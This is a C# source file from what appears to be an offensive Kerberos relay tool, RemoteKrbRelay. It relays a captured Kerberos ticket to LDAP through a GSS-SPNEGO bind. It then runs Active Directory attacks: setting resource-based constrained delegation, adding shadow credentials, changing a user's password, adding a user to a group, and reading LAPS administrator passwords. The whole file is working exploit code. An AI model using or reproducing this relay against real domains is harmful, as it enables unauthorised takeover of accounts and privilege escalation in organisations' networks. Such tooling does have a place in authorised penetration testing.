rtecCyberSec-RemoteKrbRelay/Exploit/RemoteKrbRelay/Relay/LDAP.cs

using System;
using System.Runtime.InteropServices;
using System.Linq;
using static RemoteKrbRelay.Helpers.Natives;
using static RemoteKrbRelay.Relay.Relay;

namespace RemoteKrbRelay.Relay
{
    class LDAP
    {
        public static void Relay()
        {
            Console.WriteLine("[+] Let's relay to LDAP");

            var sTicket = new SecBuffer(ticket);
            var berval = new berval
            {
                bv_len = sTicket.cbBuffer,
                bv_val = sTicket.pvBuffer
            };
            RemoteKrbRelay.Helpers.Natives.LdapStatus err = 0;
            var bervalPtr = Marshal.AllocHGlobal(Marshal.SizeOf(berval));
            Marshal.StructureToPtr(berval, bervalPtr, false);
            var bind = ldap_sasl_bind(ld, "", "GSS-SPNEGO", bervalPtr, IntPtr.Zero, IntPtr.Zero, out IntPtr servresp);

            ldap_get_option(ld, 0x0031, out int value);

            if ((LdapStatus)value == LdapStatus.LDAP_SUCCESS)
            {
                Console.WriteLine("[+] LDAP session initiated");

                try
                {
                    switch (Options.attackType)
                    {
                        case Options.Attack.RBCD:
                            if (!string.IsNullOrEmpty(Options.rbcdComputerSid))
                            {
                                err = (RemoteKrbRelay.Helpers.Natives.LdapStatus)Attacks.Ldap.RBCD.attack(ld);
                            }
                            break;

                        case Options.Attack.ShadowCred:
                            err = Attacks.Ldap.ShadowCred.attack(ld);
                            break;

                        case Options.Attack.ChangePass:
                            err = Attacks.Ldap.ChangePassword.attack(ld, Options.chpUser, Options.chpPass);
                            break;

                        case Options.Attack.AddGroupMember:
                            err = Attacks.Ldap.AddGroupMember.attack(ld, Options.groupName, Options.userToAddToGroup);
                            break;

                        case Options.Attack.Laps:
                            Attacks.Ldap.Laps.read(ld, Options.lapsDevice);
                            break;

                        case Options.Attack.LdapWhoami:
                            Attacks.Ldap.LdapWhoami.attack(ld);
                            break;

                        default:
                            Console.WriteLine($"[-] Invalid attack type {Options.attackType}");
                            break;
                    }                    
                }
                catch (Exception e)
                {
                    Console.WriteLine("[-] {0}", e);
                }

                ldap_unbind(ld);
                //Environment.Exit(0);
            }
            if ((LdapStatus)value != LdapStatus.LDAP_SASL_BIND_IN_PROGRESS)
            {
                Console.WriteLine($"[?] LDAP Last status {err}");
                Environment.Exit(0);
            }
            else
            {
                //Console.WriteLine($"[+] Received Kerberos Auth from {Options.victim} with ticket on {Options.spn}");

                var msgidp2 = (berval)Marshal.PtrToStructure(servresp, typeof(berval));
                var msgidbytes = new byte[msgidp2.bv_len];
                Marshal.Copy(msgidp2.bv_val, msgidbytes, 0, msgidp2.bv_len);
                apRep1 = msgidbytes;
            }
        }
    }
}